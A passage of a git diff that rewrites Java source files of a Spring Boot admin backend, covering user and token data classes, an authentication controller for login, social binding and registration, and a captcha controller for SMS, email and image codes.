shopId; - - /** - * 昵称 - */ - private String nickName; - - /** - * 系统类型 0:普通用户 1:系统管理员 - * - */ - private Integer sysType; - - /** - * 是否是管理员 - */ - private Integer isAdmin; - - /** - * 业务系统用户id - */ - private String bizUserId; - - /** - * 权限列表 - */ - private Set perms; - - /** - * 状态 1 正常 0 无效 - */ - private Boolean enabled; - - /** - * 其他Id - */ - private Long otherId; - -} +/* + * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. + * + * https://www.mall4j.com/ + * + * 未经允许,不可做商业用途! + * + * 版权所有,侵权必究! + */ +package org.dromara.web.common; + +import lombok.Data; + +import java.util.Set; + +/** + * 保存在token信息里面的用户信息 + * + * @author 菠萝凤梨 + * @date 2022/3/25 17:33 + */ +@Data +public class UserInfoInTokenBO { + + /** + * 用户在自己系统的用户id + */ + private Long userId; + + /** + * 租户id (商家id) + */ + private Long shopId; + + /** + * 昵称 + */ + private String nickName; + + /** + * 系统类型 0:普通用户 1:系统管理员 + * + */ + private Integer sysType; + + /** + * 是否是管理员 + */ + private Integer isAdmin; + + /** + * 业务系统用户id + */ + private String bizUserId; + + /** + * 权限列表 + */ + private Set perms; + + /** + * 状态 1 正常 0 无效 + */ + private Boolean enabled; + + /** + * 其他Id + */ + private Long otherId; + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/common/UserRegisterParam.java b/ruoyi-admin/src/main/java/org/dromara/web/common/UserRegisterParam.java index 87fca15..8a34462 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/common/UserRegisterParam.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/common/UserRegisterParam.java @@ -1,45 +1,45 @@ -package org.dromara.web.common; - -import io.swagger.v3.oas.annotations.media.Schema; -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import org.dromara.common.core.validate.AddGroup; - -/** - * @author lh - */ -@Data -@Schema(description = "用户登录信息") -public class UserRegisterParam { - - @Schema(description = "密码") - private String passWord; - - @Schema(description = "邮箱") - private String userMail; - - @Schema(description = "昵称") - private String nickName; - - @Schema(description = "用户名") - private String userName; - - @Schema(description = "手机号") - @NotBlank(message = "手机号码不能为空", groups = { AddGroup.class}) - private String mobile; - - @Schema(description = "头像") - private String img; - - @Schema(description = "校验登陆注册验证码成功的标识") - private String checkRegisterSmsFlag; - - @Schema(description = "当账户未绑定时,临时的uid") - private String tempUid; - - @Schema(description = "用户id") - private Long userId; - - @Schema(description = "微信openId") - private String openId; -} +package org.dromara.web.common; + +import io.swagger.v3.oas.annotations.media.Schema; +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import org.dromara.common.core.validate.AddGroup; + +/** + * @author lh + */ +@Data +@Schema(description = "用户登录信息") +public class UserRegisterParam { + + @Schema(description = "密码") + private String passWord; + + @Schema(description = "邮箱") + private String userMail; + + @Schema(description = "昵称") + private String nickName; + + @Schema(description = "用户名") + private String userName; + + @Schema(description = "手机号") + @NotBlank(message = "手机号码不能为空", groups = { AddGroup.class}) + private String mobile; + + @Schema(description = "头像") + private String img; + + @Schema(description = "校验登陆注册验证码成功的标识") + private String checkRegisterSmsFlag; + + @Schema(description = "当账户未绑定时,临时的uid") + private String tempUid; + + @Schema(description = "用户id") + private Long userId; + + @Schema(description = "微信openId") + private String openId; +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/common/YamiUser.java b/ruoyi-admin/src/main/java/org/dromara/web/common/YamiUser.java index ec6d5d6..07da5ce 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/common/YamiUser.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/common/YamiUser.java @@ -1,39 +1,39 @@ -/* - * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. - * - * https://www.mall4j.com/ - * - * 未经允许,不可做商业用途! - * - * 版权所有,侵权必究! - */ -package org.dromara.web.common; - -import lombok.Data; - -/** - * 用户详细信息 - * @author LGH - */ -@Data -public class YamiUser { - - /** - * 用户ID - */ - private Long userId; - - private String bizUserId; - - private Boolean enabled; - - /** - * 自提点Id - */ - private Long stationId; - - /** - * 店铺Id - */ - private Long shopId; -} +/* + * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. + * + * https://www.mall4j.com/ + * + * 未经允许,不可做商业用途! + * + * 版权所有,侵权必究! + */ +package org.dromara.web.common; + +import lombok.Data; + +/** + * 用户详细信息 + * @author LGH + */ +@Data +public class YamiUser { + + /** + * 用户ID + */ + private Long userId; + + private String bizUserId; + + private Boolean enabled; + + /** + * 自提点Id + */ + private Long stationId; + + /** + * 店铺Id + */ + private Long shopId; +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/controller/AuthController.java b/ruoyi-admin/src/main/java/org/dromara/web/controller/AuthController.java index dbe5daa..785087d 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/controller/AuthController.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/controller/AuthController.java @@ -1,247 +1,247 @@ -package org.dromara.web.controller; - -import cn.dev33.satoken.annotation.SaIgnore; -import cn.dev33.satoken.exception.NotLoginException; -import cn.hutool.core.codec.Base64; -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ObjectUtil; -import jakarta.servlet.http.HttpServletRequest; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import me.zhyd.oauth.model.AuthResponse; -import me.zhyd.oauth.model.AuthUser; -import me.zhyd.oauth.request.AuthRequest; -import me.zhyd.oauth.utils.AuthStateUtils; -import org.anyline.util.encrypt.MD5Util; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.domain.model.LoginBody; -import org.dromara.common.core.domain.model.PasswordLoginBody; -import org.dromara.common.core.domain.model.RegisterBody; -import org.dromara.common.core.domain.model.SocialLoginBody; -import org.dromara.common.core.utils.*; -import org.dromara.common.encrypt.annotation.ApiEncrypt; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.common.json.utils.UserUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.social.config.properties.SocialLoginConfigProperties; -import org.dromara.common.social.config.properties.SocialProperties; -import org.dromara.common.social.utils.SocialUtils; -import org.dromara.common.sse.dto.SseMessageDto; -import org.dromara.common.sse.utils.SseMessageUtils; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.system.domain.bo.SysTenantBo; -import org.dromara.system.domain.vo.SysClientVo; -import org.dromara.system.domain.vo.SysTenantVo; -import org.dromara.system.service.ISysClientService; -import org.dromara.system.service.ISysConfigService; -import org.dromara.system.service.ISysSocialService; -import org.dromara.system.service.ISysTenantService; -import org.dromara.web.domain.vo.LoginTenantVo; -import org.dromara.web.domain.vo.LoginVo; -import org.dromara.web.domain.vo.TenantListVo; -import org.dromara.web.service.IAuthStrategy; -import org.dromara.web.service.SysLoginService; -import org.dromara.web.service.SysRegisterService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.net.URL; -import java.nio.charset.StandardCharsets; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import java.util.concurrent.ScheduledExecutorService; -import java.util.concurrent.TimeUnit; - -/** - * 认证 - * - * @author Lion Li - */ -@Slf4j -@SaIgnore -@RequiredArgsConstructor -@RestController -@RequestMapping("/auth") -public class AuthController { - - private final SocialProperties socialProperties; - private final SysLoginService loginService; - private final SysRegisterService registerService; - private final ISysConfigService configService; - private final ISysTenantService tenantService; - private final ISysSocialService socialUserService; - private final ISysClientService clientService; - private final ScheduledExecutorService scheduledExecutorService; - - - /** - * 登录方法 - * - * @param body 登录信息 - * @return 结果 - */ - @ApiEncrypt - @PostMapping("/login") - public R login(@RequestBody String body, HttpServletRequest request) { - LoginBody loginBody = JsonUtils.parseObject(body, LoginBody.class); - ValidatorUtils.validate(loginBody); - // 授权类型和客户端id - String clientId = loginBody.getClientId(); - String grantType = loginBody.getGrantType(); - SysClientVo client = clientService.queryByClientId(clientId); -// validateCaptcha(body,request); - // 查询不到 client 或 client 内不包含 grantType - if (ObjectUtil.isNull(client) || !StringUtils.contains(client.getGrantType(), grantType)) { - log.info("客户端id: {} 认证类型:{} 异常!.", clientId, grantType); - return R.fail(MessageUtils.message("auth.grant.type.error")); - } else if (!SystemConstants.NORMAL.equals(client.getStatus())) { - return R.fail(MessageUtils.message("auth.grant.type.blocked")); - } - // 校验租户 - loginService.checkTenant(loginBody.getTenantId()); - // 登录 - LoginVo loginVo = IAuthStrategy.login(body, client, grantType); - - Long userId = LoginHelper.getUserId(); - scheduledExecutorService.schedule(() -> { - SseMessageDto dto = new SseMessageDto(); - dto.setMessage("欢迎登录效果图业务后台管理系统"); - dto.setUserIds(List.of(userId)); - SseMessageUtils.publishMessage(dto); - }, 5, TimeUnit.SECONDS); - return R.ok(loginVo); - } - - /** - * 第三方登录请求 - * - * @param source 登录来源 - * @return 结果 - */ - @GetMapping("/binding/{source}") - public R authBinding(@PathVariable("source") String source, - @RequestParam String tenantId, @RequestParam String domain) { - SocialLoginConfigProperties obj = socialProperties.getType().get(source); - if (ObjectUtil.isNull(obj)) { - return R.fail(source + "平台账号暂不支持"); - } - AuthRequest authRequest = SocialUtils.getAuthRequest(source, socialProperties); - Map map = new HashMap<>(); - map.put("tenantId", tenantId); - map.put("domain", domain); - map.put("state", AuthStateUtils.createState()); - String authorizeUrl = authRequest.authorize(Base64.encode(JsonUtils.toJsonString(map), StandardCharsets.UTF_8)); - return R.ok("操作成功", authorizeUrl); - } - - /** - * 第三方登录回调业务处理 绑定授权 - * - * @param loginBody 请求体 - * @return 结果 - */ - @PostMapping("/social/callback") - public R socialCallback(@RequestBody SocialLoginBody loginBody) { - // 获取第三方登录信息 - AuthResponse response = SocialUtils.loginAuth( - loginBody.getSource(), loginBody.getSocialCode(), - loginBody.getSocialState(), socialProperties); - AuthUser authUserData = response.getData(); - // 判断授权响应是否成功 - if (!response.ok()) { - return R.fail(response.getMsg()); - } - loginService.socialRegister(authUserData); - return R.ok(); - } - - - /** - * 取消授权 - * - * @param socialId socialId - */ - @DeleteMapping(value = "/unlock/{socialId}") - public R unlockSocial(@PathVariable Long socialId) { - Boolean rows = socialUserService.deleteWithValidById(socialId); - return rows ? R.ok() : R.fail("取消授权失败"); - } - - - /** - * 退出登录 - */ - @PostMapping("/logout") - public R logout() { - loginService.logout(); - return R.ok("退出成功"); - } - - /** - * 用户注册 - */ - @ApiEncrypt - @PostMapping("/register") - public R register(@Validated @RequestBody RegisterBody user) { - if (!configService.selectRegisterEnabled(user.getTenantId())) { - return R.fail("当前系统没有开启注册功能!"); - } - registerService.register(user); - return R.ok(); - } - - /** - * 登录页面租户下拉框 - * - * @return 租户列表 - */ - @GetMapping("/tenant/list") - public R tenantList(HttpServletRequest request) throws Exception { - // 返回对象 - LoginTenantVo result = new LoginTenantVo(); - boolean enable = TenantHelper.isEnable(); - result.setTenantEnabled(enable); - // 如果未开启租户这直接返回 - if (!enable) { - return R.ok(result); - } - - List tenantList = tenantService.queryList(new SysTenantBo()); - List voList = MapstructUtils.convert(tenantList, TenantListVo.class); - try { - // 如果只超管返回所有租户 - if (LoginHelper.isSuperAdmin()) { - result.setVoList(voList); - return R.ok(result); - } - } catch (NotLoginException ignored) { - } - - // 获取域名 - String host; - String referer = request.getHeader("referer"); - if (StringUtils.isNotBlank(referer)) { - // 这里从referer中取值是为了本地使用hosts添加虚拟域名,方便本地环境调试 - host = referer.split("//")[1].split("/")[0]; - } else { - host = new URL(request.getRequestURL().toString()).getHost(); - } - // 根据域名进行筛选 - List list = StreamUtils.filter(voList, vo -> - StringUtils.equalsIgnoreCase(vo.getDomain(), host)); - result.setVoList(CollUtil.isNotEmpty(list) ? list : voList); - return R.ok(result); - } - - - public static void validateCaptcha(String body, HttpServletRequest request) { - PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class); - ValidatorUtils.validate(loginBody); - String username = loginBody.getUsername(); - String name = MD5Util.crypto(username); - UserUtils.validate(name,body,request); - } - -} +package org.dromara.web.controller; + +import cn.dev33.satoken.annotation.SaIgnore; +import cn.dev33.satoken.exception.NotLoginException; +import cn.hutool.core.codec.Base64; +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ObjectUtil; +import jakarta.servlet.http.HttpServletRequest; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import me.zhyd.oauth.model.AuthResponse; +import me.zhyd.oauth.model.AuthUser; +import me.zhyd.oauth.request.AuthRequest; +import me.zhyd.oauth.utils.AuthStateUtils; +import org.anyline.util.encrypt.MD5Util; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.domain.model.LoginBody; +import org.dromara.common.core.domain.model.PasswordLoginBody; +import org.dromara.common.core.domain.model.RegisterBody; +import org.dromara.common.core.domain.model.SocialLoginBody; +import org.dromara.common.core.utils.*; +import org.dromara.common.encrypt.annotation.ApiEncrypt; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.common.json.utils.UserUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.social.config.properties.SocialLoginConfigProperties; +import org.dromara.common.social.config.properties.SocialProperties; +import org.dromara.common.social.utils.SocialUtils; +import org.dromara.common.sse.dto.SseMessageDto; +import org.dromara.common.sse.utils.SseMessageUtils; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.system.domain.bo.SysTenantBo; +import org.dromara.system.domain.vo.SysClientVo; +import org.dromara.system.domain.vo.SysTenantVo; +import org.dromara.system.service.ISysClientService; +import org.dromara.system.service.ISysConfigService; +import org.dromara.system.service.ISysSocialService; +import org.dromara.system.service.ISysTenantService; +import org.dromara.web.domain.vo.LoginTenantVo; +import org.dromara.web.domain.vo.LoginVo; +import org.dromara.web.domain.vo.TenantListVo; +import org.dromara.web.service.IAuthStrategy; +import org.dromara.web.service.SysLoginService; +import org.dromara.web.service.SysRegisterService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.net.URL; +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; + +/** + * 认证 + * + * @author Lion Li + */ +@Slf4j +@SaIgnore +@RequiredArgsConstructor +@RestController +@RequestMapping("/auth") +public class AuthController { + + private final SocialProperties socialProperties; + private final SysLoginService loginService; + private final SysRegisterService registerService; + private final ISysConfigService configService; + private final ISysTenantService tenantService; + private final ISysSocialService socialUserService; + private final ISysClientService clientService; + private final ScheduledExecutorService scheduledExecutorService; + + + /** + * 登录方法 + * + * @param body 登录信息 + * @return 结果 + */ + @ApiEncrypt + @PostMapping("/login") + public R login(@RequestBody String body, HttpServletRequest request) { + LoginBody loginBody = JsonUtils.parseObject(body, LoginBody.class); + ValidatorUtils.validate(loginBody); + // 授权类型和客户端id + String clientId = loginBody.getClientId(); + String grantType = loginBody.getGrantType(); + SysClientVo client = clientService.queryByClientId(clientId); +// validateCaptcha(body,request); + // 查询不到 client 或 client 内不包含 grantType + if (ObjectUtil.isNull(client) || !StringUtils.contains(client.getGrantType(), grantType)) { + log.info("客户端id: {} 认证类型:{} 异常!.", clientId, grantType); + return R.fail(MessageUtils.message("auth.grant.type.error")); + } else if (!SystemConstants.NORMAL.equals(client.getStatus())) { + return R.fail(MessageUtils.message("auth.grant.type.blocked")); + } + // 校验租户 + loginService.checkTenant(loginBody.getTenantId()); + // 登录 + LoginVo loginVo = IAuthStrategy.login(body, client, grantType); + + Long userId = LoginHelper.getUserId(); + scheduledExecutorService.schedule(() -> { + SseMessageDto dto = new SseMessageDto(); + dto.setMessage("欢迎登录效果图业务后台管理系统"); + dto.setUserIds(List.of(userId)); + SseMessageUtils.publishMessage(dto); + }, 5, TimeUnit.SECONDS); + return R.ok(loginVo); + } + + /** + * 第三方登录请求 + * + * @param source 登录来源 + * @return 结果 + */ + @GetMapping("/binding/{source}") + public R authBinding(@PathVariable("source") String source, + @RequestParam String tenantId, @RequestParam String domain) { + SocialLoginConfigProperties obj = socialProperties.getType().get(source); + if (ObjectUtil.isNull(obj)) { + return R.fail(source + "平台账号暂不支持"); + } + AuthRequest authRequest = SocialUtils.getAuthRequest(source, socialProperties); + Map map = new HashMap<>(); + map.put("tenantId", tenantId); + map.put("domain", domain); + map.put("state", AuthStateUtils.createState()); + String authorizeUrl = authRequest.authorize(Base64.encode(JsonUtils.toJsonString(map), StandardCharsets.UTF_8)); + return R.ok("操作成功", authorizeUrl); + } + + /** + * 第三方登录回调业务处理 绑定授权 + * + * @param loginBody 请求体 + * @return 结果 + */ + @PostMapping("/social/callback") + public R socialCallback(@RequestBody SocialLoginBody loginBody) { + // 获取第三方登录信息 + AuthResponse response = SocialUtils.loginAuth( + loginBody.getSource(), loginBody.getSocialCode(), + loginBody.getSocialState(), socialProperties); + AuthUser authUserData = response.getData(); + // 判断授权响应是否成功 + if (!response.ok()) { + return R.fail(response.getMsg()); + } + loginService.socialRegister(authUserData); + return R.ok(); + } + + + /** + * 取消授权 + * + * @param socialId socialId + */ + @DeleteMapping(value = "/unlock/{socialId}") + public R unlockSocial(@PathVariable Long socialId) { + Boolean rows = socialUserService.deleteWithValidById(socialId); + return rows ? R.ok() : R.fail("取消授权失败"); + } + + + /** + * 退出登录 + */ + @PostMapping("/logout") + public R logout() { + loginService.logout(); + return R.ok("退出成功"); + } + + /** + * 用户注册 + */ + @ApiEncrypt + @PostMapping("/register") + public R register(@Validated @RequestBody RegisterBody user) { + if (!configService.selectRegisterEnabled(user.getTenantId())) { + return R.fail("当前系统没有开启注册功能!"); + } + registerService.register(user); + return R.ok(); + } + + /** + * 登录页面租户下拉框 + * + * @return 租户列表 + */ + @GetMapping("/tenant/list") + public R tenantList(HttpServletRequest request) throws Exception { + // 返回对象 + LoginTenantVo result = new LoginTenantVo(); + boolean enable = TenantHelper.isEnable(); + result.setTenantEnabled(enable); + // 如果未开启租户这直接返回 + if (!enable) { + return R.ok(result); + } + + List tenantList = tenantService.queryList(new SysTenantBo()); + List voList = MapstructUtils.convert(tenantList, TenantListVo.class); + try { + // 如果只超管返回所有租户 + if (LoginHelper.isSuperAdmin()) { + result.setVoList(voList); + return R.ok(result); + } + } catch (NotLoginException ignored) { + } + + // 获取域名 + String host; + String referer = request.getHeader("referer"); + if (StringUtils.isNotBlank(referer)) { + // 这里从referer中取值是为了本地使用hosts添加虚拟域名,方便本地环境调试 + host = referer.split("//")[1].split("/")[0]; + } else { + host = new URL(request.getRequestURL().toString()).getHost(); + } + // 根据域名进行筛选 + List list = StreamUtils.filter(voList, vo -> + StringUtils.equalsIgnoreCase(vo.getDomain(), host)); + result.setVoList(CollUtil.isNotEmpty(list) ? list : voList); + return R.ok(result); + } + + + public static void validateCaptcha(String body, HttpServletRequest request) { + PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class); + ValidatorUtils.validate(loginBody); + String username = loginBody.getUsername(); + String name = MD5Util.crypto(username); + UserUtils.validate(name,body,request); + } + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/controller/CaptchaController.java b/ruoyi-admin/src/main/java/org/dromara/web/controller/CaptchaController.java index 1a476a9..b637c13 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/controller/CaptchaController.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/controller/CaptchaController.java @@ -1,136 +1,136 @@ -package org.dromara.web.controller; - -import cn.dev33.satoken.annotation.SaIgnore; -import cn.hutool.captcha.AbstractCaptcha; -import cn.hutool.captcha.generator.CodeGenerator; -import cn.hutool.core.util.IdUtil; -import cn.hutool.core.util.RandomUtil; -import jakarta.validation.constraints.NotBlank; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.Constants; -import org.dromara.common.core.constant.GlobalConstants; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.reflect.ReflectUtils; -import org.dromara.common.mail.config.properties.MailProperties; -import org.dromara.common.mail.utils.MailUtils; -import org.dromara.common.ratelimiter.annotation.RateLimiter; -import org.dromara.common.ratelimiter.enums.LimitType; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.common.web.config.properties.CaptchaProperties; -import org.dromara.common.web.enums.CaptchaType; -import org.dromara.sms4j.api.SmsBlend; -import org.dromara.sms4j.api.entity.SmsResponse; -import org.dromara.sms4j.core.factory.SmsFactory; -import org.dromara.web.domain.vo.CaptchaVo; -import org.springframework.expression.Expression; -import org.springframework.expression.ExpressionParser; -import org.springframework.expression.spel.standard.SpelExpressionParser; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RestController; - -import java.time.Duration; -import java.util.LinkedHashMap; - -/** - * 验证码操作处理 - * - * @author Lion Li - */ -@SaIgnore -@Slf4j -@Validated -@RequiredArgsConstructor -@RestController -public class CaptchaController { - - private final CaptchaProperties captchaProperties; - private final MailProperties mailProperties; - - /** - * 短信验证码 - * - * @param phonenumber 用户手机号 - */ - @RateLimiter(key = "#phonenumber", time = 60, count = 1) - @GetMapping("/resource/sms/code") - public R smsCode(@NotBlank(message = "{user.phonenumber.not.blank}") String phonenumber) { - String key = GlobalConstants.CAPTCHA_CODE_KEY + phonenumber; - String code = RandomUtil.randomNumbers(4); - RedisUtils.setCacheObject(key, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION)); - // 验证码模板id 自行处理 (查数据库或写死均可) - String templateId = ""; - LinkedHashMap map = new LinkedHashMap<>(1); - map.put("code", code); - SmsBlend smsBlend = SmsFactory.getSmsBlend("config1"); - SmsResponse smsResponse = smsBlend.sendMessage(phonenumber, templateId, map); - if (!smsResponse.isSuccess()) { - log.error("验证码短信发送异常 => {}", smsResponse); - return R.fail(smsResponse.getData().toString()); - } - return R.ok(); - } - - /** - * 邮箱验证码 - * - * @param email 邮箱 - */ - @RateLimiter(key = "#email", time = 60, count = 1) - @GetMapping("/resource/email/code") - public R emailCode(@NotBlank(message = "{user.email.not.blank}") String email) { - if (!mailProperties.getEnabled()) { - return R.fail("当前系统没有开启邮箱功能!"); - } - String key = GlobalConstants.CAPTCHA_CODE_KEY + email; - String code = RandomUtil.randomNumbers(4); - RedisUtils.setCacheObject(key, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION)); - try { - MailUtils.sendText(email, "登录验证码", "您本次验证码为:" + code + ",有效性为" + Constants.CAPTCHA_EXPIRATION + "分钟,请尽快填写。"); - } catch (Exception e) { - log.error("验证码短信发送异常 => {}", e.getMessage()); - return R.fail(e.getMessage()); - } - return R.ok(); - } - - /** - * 生成验证码 - */ - @RateLimiter(time = 60, count = 10, limitType = LimitType.IP) - @GetMapping("/auth/code") - public R getCode() { - CaptchaVo captchaVo = new CaptchaVo(); - boolean captchaEnabled = captchaProperties.getEnable(); - if (!captchaEnabled) { - captchaVo.setCaptchaEnabled(false); - return R.ok(captchaVo); - } - // 保存验证码信息 - String uuid = IdUtil.simpleUUID(); - String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + uuid; - // 生成验证码 - CaptchaType captchaType = captchaProperties.getType(); - boolean isMath = CaptchaType.MATH == captchaType; - Integer length = isMath ? captchaProperties.getNumberLength() : captchaProperties.getCharLength(); - CodeGenerator codeGenerator = ReflectUtils.newInstance(captchaType.getClazz(), length); - AbstractCaptcha captcha = SpringUtils.getBean(captchaProperties.getCategory().getClazz()); - captcha.setGenerator(codeGenerator); - captcha.createCode(); - // 如果是数学验证码,使用SpEL表达式处理验证码结果 - String code = captcha.getCode(); - if (isMath) { - ExpressionParser parser = new SpelExpressionParser(); - Expression exp = parser.parseExpression(StringUtils.remove(code, "=")); - code = exp.getValue(String.class); - } - RedisUtils.setCacheObject(verifyKey, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION)); - captchaVo.setUuid(uuid); - captchaVo.setImg(captcha.getImageBase64()); - return R.ok(captchaVo); - } - -} +package org.dromara.web.controller; + +import cn.dev33.satoken.annotation.SaIgnore; +import cn.hutool.captcha.AbstractCaptcha; +import cn.hutool.captcha.generator.CodeGenerator; +import cn.hutool.core.util.IdUtil; +import cn.hutool.core.util.RandomUtil; +import jakarta.validation.constraints.NotBlank; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.Constants; +import org.dromara.common.core.constant.GlobalConstants; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.reflect.ReflectUtils; +import org.dromara.common.mail.config.properties.MailProperties; +import org.dromara.common.mail.utils.MailUtils; +import org.dromara.common.ratelimiter.annotation.RateLimiter; +import org.dromara.common.ratelimiter.enums.LimitType; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.common.web.config.properties.CaptchaProperties; +import org.dromara.common.web.enums.CaptchaType; +import org.dromara.sms4j.api.SmsBlend; +import org.dromara.sms4j.api.entity.SmsResponse; +import org.dromara.sms4j.core.factory.SmsFactory; +import org.dromara.web.domain.vo.CaptchaVo; +import org.springframework.expression.Expression; +import org.springframework.expression.ExpressionParser; +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.time.Duration; +import java.util.LinkedHashMap; + +/** + * 验证码操作处理 + * + * @author Lion Li + */ +@SaIgnore +@Slf4j +@Validated +@RequiredArgsConstructor +@RestController +public class CaptchaController { + + private final CaptchaProperties captchaProperties; + private final MailProperties mailProperties; + + /** + * 短信验证码 + * + * @param phonenumber 用户手机号 + */ + @RateLimiter(key = "#phonenumber", time = 60, count = 1) + @GetMapping("/resource/sms/code") + public R smsCode(@NotBlank(message = "{user.phonenumber.not.blank}") String phonenumber) { + String key = GlobalConstants.CAPTCHA_CODE_KEY + phonenumber; + String code = RandomUtil.randomNumbers(4); + RedisUtils.setCacheObject(key, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION)); + // 验证码模板id 自行处理 (查数据库或写死均可) + String templateId = ""; + LinkedHashMap map = new LinkedHashMap<>(1); + map.put("code", code); + SmsBlend smsBlend = SmsFactory.getSmsBlend("config1"); + SmsResponse smsResponse = smsBlend.sendMessage(phonenumber, templateId, map); + if (!smsResponse.isSuccess()) { + log.error("验证码短信发送异常 => {}", smsResponse); + return R.fail(smsResponse.getData().toString()); + } + return R.ok(); + } + + /** + * 邮箱验证码 + * + * @param email 邮箱 + */ + @RateLimiter(key = "#email", time = 60, count = 1) + @GetMapping("/resource/email/code") + public R emailCode(@NotBlank(message = "{user.email.not.blank}") String email) { + if (!mailProperties.getEnabled()) { + return R.fail("当前系统没有开启邮箱功能!"); + } + String key = GlobalConstants.CAPTCHA_CODE_KEY + email; + String code = RandomUtil.randomNumbers(4); + RedisUtils.setCacheObject(key, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION)); + try { + MailUtils.sendText(email, "登录验证码", "您本次验证码为:" + code + ",有效性为" + Constants.CAPTCHA_EXPIRATION + "分钟,请尽快填写。"); + } catch (Exception e) { + log.error("验证码短信发送异常 => {}", e.getMessage()); + return R.fail(e.getMessage()); + } + return R.ok(); + } + + /** + * 生成验证码 + */ + @RateLimiter(time = 60, count = 10, limitType = LimitType.IP) + @GetMapping("/auth/code") + public R getCode() { + CaptchaVo captchaVo = new CaptchaVo(); + boolean captchaEnabled = captchaProperties.getEnable(); + if (!captchaEnabled) { + captchaVo.setCaptchaEnabled(false); + return R.ok(captchaVo); + } + // 保存验证码信息 + String uuid = IdUtil.simpleUUID(); + String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + uuid; + // 生成验证码 + CaptchaType captchaType = captchaProperties.getType(); + boolean isMath = CaptchaType.MATH == captchaType; + Integer length = isMath ? captchaProperties.getNumberLength() : captchaProperties.getCharLength(); + CodeGenerator codeGenerator = ReflectUtils.newInstance(captchaType.getClazz(), length); + AbstractCaptcha captcha = SpringUtils.getBean(captchaProperties.getCategory().getClazz()); + captcha.setGenerator(codeGenerator); + captcha.createCode(); + // 如果是数学验证码,使用SpEL表达式处理验证码结果 + String code = captcha.getCode(); + if (isMath) { + ExpressionParser parser = new SpelExpressionParser(); + Expression exp = parser.parseExpression(StringUtils.remove(code, "=")); + code = exp.getValue(String.class); + } + RedisUtils.setCacheObject(verifyKey, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION)); + captchaVo.setUuid(uuid); + captchaVo.setImg(captcha.getImageBase64()); + return R.ok(captchaVo); + } + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/controller/IndexController.java b/ruoyi-admin/src/main/java/org/dromara/web/controller/IndexController.java index c40b3a2..f87c6e2 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/controller/IndexController.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/controller/IndexController.java @@ -1,772 +1,772 @@ -package org.dromara.web.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import cn.dev33.satoken.annotation.SaIgnore; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import io.swagger.v3.oas.annotations.Parameter; -import io.swagger.v3.oas.annotations.Parameters; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.config.RuoYiConfig; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.utils.DateUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import 